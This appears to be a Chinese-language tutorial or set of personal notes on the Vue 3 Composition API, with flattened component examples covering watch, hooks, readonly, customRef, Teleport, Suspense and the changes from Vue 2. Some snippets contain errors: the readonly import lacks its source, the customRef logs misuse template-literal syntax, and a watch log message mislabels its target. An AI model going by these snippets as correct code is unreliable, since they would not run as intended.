1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <template> <h1>一个人的信息</h1> 姓:<input type="text" v-model="person.firstName"> <br> 名:<input type="text" v-model="person.lastName"> <br> <span>全名:{{person.fullName}}</span> <br> 全名:<input type="text" v-model="person.fullName"> </template> <script> import {reactive,computed} from 'vue' export default { name: 'Demo', setup() { // 数据 let person = reactive({ firstName: '张', lastName: '三' }) // 计算属性——简写(没有考虑计算属性被修改的情况) // person.fullName = computed(() => { // return person.firstName + '-' +person.lastName // }) // 计算属性——简写(考虑读和写) person.fullName = computed({ get() { return person.firstName + '-' +person.lastName }, set(value) { const nameArr = value.split('-') person.firstName = nameArr[0] person.lastName = nameArr[1] } }) // 返回一个对象(常用) return { person } } } </script> <style> </style>
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 <template> <Demo/> </template> <script> import Demo from "./components/Demo"; export default { name: "App", components: { Demo }, }; </script>
watch函数的使用 Demo.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <template> <h2>当前求和为:{{sum}}</h2> <button @click="sum++">sum++</button> <hr> <h2>当前的信息为:{{msg}}</h2> <button @click="msg+='!'">修改信息</button> <hr> <h2>姓名:{{person.name}}</h2> <h2>年龄:{{person.age}}</h2> <h2>薪资:{{person.job.j1.salary}}K</h2> <button @click="person.name+='~'">修改姓名</button> <button @click="person.age++">增长年龄</button> <button @click="person.job.j1.salary++">涨薪</button> </template> <script> // ref在模板字符串中不用加.value,但是在script代码中需要加上.value,而reactive不需要加.value // 注意:强制开启了深度监视(deep配置无效) import {ref, reactive, watch} from 'vue' export default { name: 'Demo', setup() { // 数据 let sum = ref(0) let msg = ref('hello') let person = reactive({ name: '张三', age: 18, job: { j1: { salary: 28 } } }) // 注意:ref中的对象数据还是会调用reactive来处理 // 情况一:监视ref所定义的一个响应式数据 // watch(sum,(newValue,oldValue) => { // console.log('sum变了',newValue,oldValue) // },{immediate:true}) // 情况二:监视ref所定义的多个响应式数据 // watch([sum,msg],(newValue,oldValue) => { // console.log('sum或msg变了',newValue,oldValue) // },{immediate:true}) // 情况三:监视reactive所定义的一个响应式数据的全部属性:注意:此处无法正确的获取oldValue // watch(person,(newValue) => { // console.log('person变化了',newValue); // }) // 注意:当监视的是一个对象中的某个属性的时候是有oldValue值的 // 情况四:监视reactive所定义的一个响应式数据中的某个属性 // watch(() => person.name,(newValue,oldValue) => { // console.log('person的name变化了',newValue,oldValue); // }) // 情况四:监视reactive所定义的一个响应式数据中的某些属性 // watch([() => person.name,() => person.age],(newValue,oldValue) => { // console.log('person的name或age变化了',newValue,oldValue); // }) // 特殊情况: watch(() => person.age,(newValue,oldValue) => { console.log('person的job变化了',newValue,oldValue); },{deep: true})//此处由于监视的是reactive定义的对象中的某个属性,所以deep配置有效 // 返回一个对象(常用) return { sum, msg, person } } } </script> <style> </style>
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 <template> <Demo/> </template> <script> import Demo from "./components/Demo"; export default { name: "App", components: { Demo }, }; </script>
watchEffect函数 Demo.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <template> <h2>当前求和为:{{sum}}</h2> <button @click="sum++">sum++</button> <hr> <h2>当前的信息为:{{msg}}</h2> <button @click="msg+='!'">修改信息</button> <hr> <h2>姓名:{{person.name}}</h2> <h2>年龄:{{person.age}}</h2> <h2>薪资:{{person.job.j1.salary}}K</h2> <button @click="person.name+='~'">修改姓名</button> <button @click="person.age++">增长年龄</button> <button @click="person.job.j1.salary++">涨薪</button> </template> <script> // ref在模板字符串中不用加.value,但是在script代码中需要加上.value,而reactive不需要加.value // 注意:强制开启了深度监视(deep配置无效) import {ref, reactive, watch, watchEffect} from 'vue' export default { name: 'Demo', setup() { // 数据 let sum = ref(0) let msg = ref('hello') let person = reactive({ name: '张三', age: 18, job: { j1: { salary: 28 } } }) // 监视 // watch(sum,(newValue,oldValue) => { // console.log('sum的值变化了', newValue,oldValue) // },{immediate: true}) // 回调中所用到的数据发生改变时,就会执行watchEffect函数 watchEffect(() => { const x1 = sum.value const x2 = person.job.j1.salary console.log('watchEffect所指定的回调执行') }) // 返回一个对象(常用) return { sum, msg, person } } } </script> <style> </style>
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 <template> <Demo/> </template> <script> import Demo from "./components/Demo"; export default { name: "App", components: { Demo }, }; </script>
生命周期函数 Demo.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <template> <h2>当前求和为:{{sum}}</h2> <button @click="sum++">sum++</button> </template> <script> // ref在模板字符串中不用加.value,但是在script代码中需要加上.value,而reactive不需要加.value // 注意:强制开启了深度监视(deep配置无效) import {ref,onBeforeMount,onMounted,onBeforeUpdate,onUpdated,onBeforeUnmount,onUnmounted} from 'vue' export default { name: 'Demo', setup() { // 数据 console.log('---setup---'); let sum = ref(0) // 通过组合式API的形式去使用生命周期钩子 onBeforeMount(() => { console.log('---onBeforeMount---'); }) onMounted(() => { console.log('---onMounted---'); }) onBeforeUpdate(() => { console.log('---onBeforeUpdate---'); }) onUpdated(() => { console.log('---onUpdated---'); }) onBeforeUnmount(() => { console.log('---onBeforeUnmount---'); }) onUnmounted(() => { console.log('---onUnmounted---'); }) // 返回一个对象(常用) return {sum} }, // 通过配置项的形式使用生命周期钩子 //#region /* beforeCreate() { console.log('---beforeCreate---'); }, created() { console.log('---created---'); }, beforeMount() { console.log('---beforeMount---'); }, mounted() { console.log('---mounted---'); }, beforeUpdate() { console.log('---beforeUpdate---'); }, updated() { console.log('---updated---'); }, beforeUnmount() { console.log('---beforeUnmount---'); }, unmounted() { console.log('---unmounted---'); }*/ //#endregion } </script> <style> </style>
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <template> <button @click="isShowDemo = !isShowDemo">切换隐藏/显示</button> <Demo v-if="isShowDemo"/> </template> <script> import {ref} from 'vue' import Demo from "./components/Demo"; export default { name: "App", components: { Demo }, setup() { let isShowDemo = ref(true) return {isShowDemo} } }; </script>
自定义hook函数
hook函数,把setup函数中使用的Composition API进行了封装。
类似于vue2.x中的mixin
自定义hook的优势:复用代码,让setup中的逻辑更清除易懂
也就是说将部分功能代码抽离出来供多个组件使用。
1、需要在src/创建一个hooks文件夹,在其中将索要抽离出来的代码封装程一个个js文件,这些js文件一般以usexxx.js命名。
src/hooks/usePoint.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import { reactive, ref, onMounted, onBeforeUnmount } from 'vue' export default function savePoint ( ) { let point = reactive ({ x : 0 , y : 0 }) function savePoint (event ) { point.x = event.pageX point.y = event.pageY console .log (event.pageX , event.pageY ); } onMounted (() => { window .addEventListener ('click' , savePoint) }) onBeforeUnmount (() => { window .removeEventListener ('click' , savePoint) }) return point }
注意这里的return point
Demo.vue组件中使用这个功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <template> <h2>当前求和为:{{sum}}</h2> <button @click="sum++">sum++</button> <hr> <h2>当前点击时鼠标的坐标为:x:{{point.x}}y:{{point.y}}</h2> </template> <script> import {ref} from 'vue' import usePoint from '../hooks/usePoint' export default { name: 'Demo', setup() { // 数据 let sum = ref(0) //这里就体现出上面的那个return point注意点了 let point = usePoint() // 返回一个对象(常用) return {sum, point} } } </script> <style> </style>
toRef+toRefs Demo.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <template> <h2>姓名:{{name}}</h2> <h2>年龄:{{age}}</h2> <h2>薪资:{{job.j1.salary}}K</h2> <button @click="name+='~'">修改姓名</button> <button @click="age++">增长年龄</button> <button @click="job.j1.salary++">涨薪</button> </template> <script> import { reactive, toRef, toRefs} from 'vue' export default { name: 'Demo', setup() { // 数据 let person = reactive({ name: '张三', age: 18, job: { j1: { salary: 28 } } }) // const name1 = person.name // console.log('%%%',name1); // const name2 = toRef(person, 'name') // console.log('####', name2) // const x = toRefs(person) // console.log('*****', x); // 返回一个对象(常用) return { // name:toRef(person,'name'), // age:toRef(person, 'age'), // salary:toRef(person.job.j1, 'salary') person, //只能处理第一层对象 ...toRefs(person) } } } </script> <style> </style>
shallowReactive+shallowRef 使用场景:
如果有一个对象数据,结构比较深,但改变时只是最外层属性改变 ===>shallowReactive
如果有一个对象数据,后续功能不会修改该对象中的属性,而是用新的对象来替换===>shallowRef
Demo.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <template> <h2>姓名:{{name}}</h2> <h2>年龄:{{age}}</h2> <h2>薪资:{{job.j1.salary}}K</h2> <button @click="name+='~'">修改姓名</button> <button @click="age++">增长年龄</button> <button @click="job.j1.salary++">涨薪</button> </template> <script> // shallowRef:只处理基本数据类型的响应式,不进行对象的响应式处理 import { reactive, toRef, toRefs, shallowReactive, shallowRef} from 'vue' export default { name: 'Demo', setup() { // 只能处理第一层的数据,对象中深层的数据是无法处理的 let person = shallowReactive({ name: '张三', age: 18, job: { j1: { salary: 28 } } }) // 返回一个对象(常用) return { person, ...toRefs(person) } } } </script> <style> </style>
readonly+shallowReadonly的使用
使用场景:如果我们想让一些数据只读,那么我们就需要用到这两个API了,shallowReadonly只能控制深层数据中的第一层。
如果在别人的代码的基础上编写代码,且别人不想让我们更改某些数据的时候,我们就可以先把这些数据定义为readonly或shallowReadonly(根据数据的具体情况处理),这样这些数据就是只读的了,当我们修改时,会有警告且修改不了
使用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <script> /*先引入*/ import {readonly, shallowReadonly} export default { name: 'Demo', setup() { let sum = ref(0) let person = { name: 'xxx', age: 20, job: { job1: { name: 'xxx' } } } } person = readonly(person) sum = shallowReadonly(sum) } </script>
toRaw+markRaw toRaw:
作用:将一个由reactive生成的响应式对象 转为普通对象
使用场景:用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面更新
let p = toRaw(person)
markRaw:
作用:标记一个对象,使其永远不会再成为响应式对象
使用场景:
1、有些值不应被设置为响应式的,例如复杂的第三方类库等
2、当渲染具有不可变数据源的大列表时,跳过响应式转换可以提高性能
let p = markRaw(person)
customRef
作用:创建一个定义的ref,并对其依赖项跟踪和更新触发进行显式控制
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <template> <input type="text" v-model="keyWord" /> <h3>{{ keyWord }}</h3> </template> <script> import { customRef, ref } from "vue"; export default { name: "App", setup() { // 使用vue提供的ref // let keyWord = ref("hello") // 自定义一个ref function myRef(value, delay) { let timer return customRef((track, trigger) => { return { get() { console.log(`有人从myRef这个容器中读取数据了,我把$(value)给他了`); track(); //通知Vue追踪value的变化,如果不追踪,页面将不会更改 return value; }, set(newValue) { console.log(`有人把myRef这个容器中数据改为了:$(newValue)`); clearTimeout(timer)//实现函数防抖功能 timer = setTimeout(() => { value = newValue; trigger(); //通知Vue去重新解析模板 }, delay); }, }; }); } // 使用程序员自定义的ref let keyWord = myRef("hello",500); return { keyWord }; }, }; </script>
provide+inject
作用:实现祖孙组件间 通信
使用方法:父组件有一个provide
选项来提供数据,子组件有一个inject
选项来开始使用这些数据
具体写法:
父组件(App.vue):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <template> <div class="app"> <h3>我是App组件(祖),{{name}}---{{price}}</h3> <Child/> </div> </template> <script> import {reactive,toRefs,provide} from 'vue' import Child from './components/Child.vue' export default { name: 'APP', components: { Child }, setup() { let car = reactive({ name: '奔驰', price: '40W' }) provide('car',car)//给自己的后代组件传递数据 return {...toRefs(car)} } } </script> <style> .app { background-color: gray; padding: 10px; } </style>
子组件(Child.vue):
父子组件间通信一般用props
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <template> <div class="child"> <h3>我是Child组件(子)</h3> <Son/> </div> </template> <script> import Son from './Son.vue' export default { name: 'Child', components:{Son} } </script> <style> .child { background-color: skyblue; padding: 10px; } </style>
孙组件(Son.vue):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <template> <div class="son"> <h3>我是Son组件(孙),{{car.name}}---{{car.price}}</h3> </div> </template> <script> import {inject} from 'vue' export default { name: 'Son', setup() { // 注入数据 let car = inject('car') return {car} } } </script> <style> .son { background-color: orange; padding: 10px; } </style>
响应式数据的判断
isRef
检查一个值是否为一个ref对象
isReactive
检查一个对象是否是由reactive创建的响应式代理
isReadonly
检查一个对象是否是由readonly创建的只读代理
isProxy
检查一个对象是否是由reactive或者readonly方法创建的代理
组合式API的优势
可以将相关功能的代码整合到一起,要使用hooks才能体现这一点
Options API存在的问题:
使用传统OptionsAPI中,新增或者修改一个需求,就需要分别在data、methods、computed里修改
Composition API的优势:
我们可以更加优雅的组织我们的代码,函数。让相关功能的代码更加有许多组织在一起
新的组件 Fragment 在Vue2中:组件必须有一个根标签
在Vue3中:组件可以没有根标签,内部会将多个标签包含在一个Fragment虚拟元素中
好处:减少标签层级,减小内存占用
Teleport
Teleport是一种能够将我们的组件html结构移动到指定位置的技术
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <template> <div> <button @click="isShow = true">弹窗</button> <teleport to="body"> <div v-if="isShow" class="mask"> <div class="dialog"> <h3>我是一个弹窗</h3> <h4>内容</h4> <h4>内容</h4> <h4>内容</h4> <button @click="isShow = false">关闭弹窗</button> </div> </div> </teleport> </div> </template> <script> import { ref } from "vue"; export default { name: "Dialog", setup() { let isShow = ref(false); return { isShow }; }, }; </script> <style> .dialog { position: absolute; top: 50%; left: 50%; transform: translate(-50%,-50%); text-align: center; width: 300px; height: 300px; background-color: green; } .mask { position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.5); } </style>
如上代码就实现了,当我点击弹窗的时候,Teleport中的代码就会被加到body中
Suspense
与异步组件配合使用,当使用了异步引入的时候就可能出现后面的组件等待着前面的组件加载出来了之后才会加载此组件,这时我们可以用suspense,当在加载某个组件的时候先在页面中展示一个默认的组件内容,当组件加载完毕后,在展示出这个组件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <template> <div class="app"> <h3>我是App组件</h3> <Suspense> <!-- 这里的 v-slot:default和v-slot:fallback不能变--> <template v-slot:default> <Child/> </template> <template v-slot:fallback> <h3>稍等,加载中</h3> </template> </Suspense> </div> </template> <script> // import Child from './components/Child.vue'//静态引入 import {defineAsyncComponent} from 'vue' const Child = defineAsyncComponent(() => import('./components/Child'))//异步引入 export default { name: 'APP', components: { Child }, } </script> <style> .app { background-color: gray; padding: 10px; } </style>
Vue3中API的调整 将全局的API,即:Vue.xxx
调整到应用实例app
上
vue.2.x全局API(Vue)
Vue3.x实例API(app)
Vue.config.xxx
app.config.xxx
Vue.config.productionTip
移除
Vue.component
app.component
Vue.directive
app.directive
Vue.mixin
app.mixin
Vue.use
app.use
Vue.prototype
app.config.globalProperties
其他改变
1、data选项应始终被声明为一个函数
2、过度类名的更改:
Vue2.x写法:
1 2 3 4 5 6 7 8 .v-enter, .v-leave-to { opacity: 0; } .v-leave, .v-enter-to { opacity: 1; }
Vue3.x写法:
1 2 3 4 5 6 7 8 .v-enter-from, .v-leave-to { opacity: 0; } .v-leave-from, .v-enter-to { opacity: 1; }
3、移除keyCode作为v-on的修饰符,同时也不再支持config.keyCodes
4、移除v-on.native
修饰符
父组件中绑定事件:
1 2 3 4 <my-component/ v-on:close="handleComponentEvent" v-on:click="handleNativeClickEvent" >
子组件中声明自定义事件:
1 2 3 4 5 <script> export default { emits: ['close'] } </script>
5、移除过滤器
过滤器虽然看起来很方便,但它需要一个自定义语法,打破大括号内表达式是“只是JavaScript”的假设,这不仅有学习成本,而且有实现成本!建议用方法调用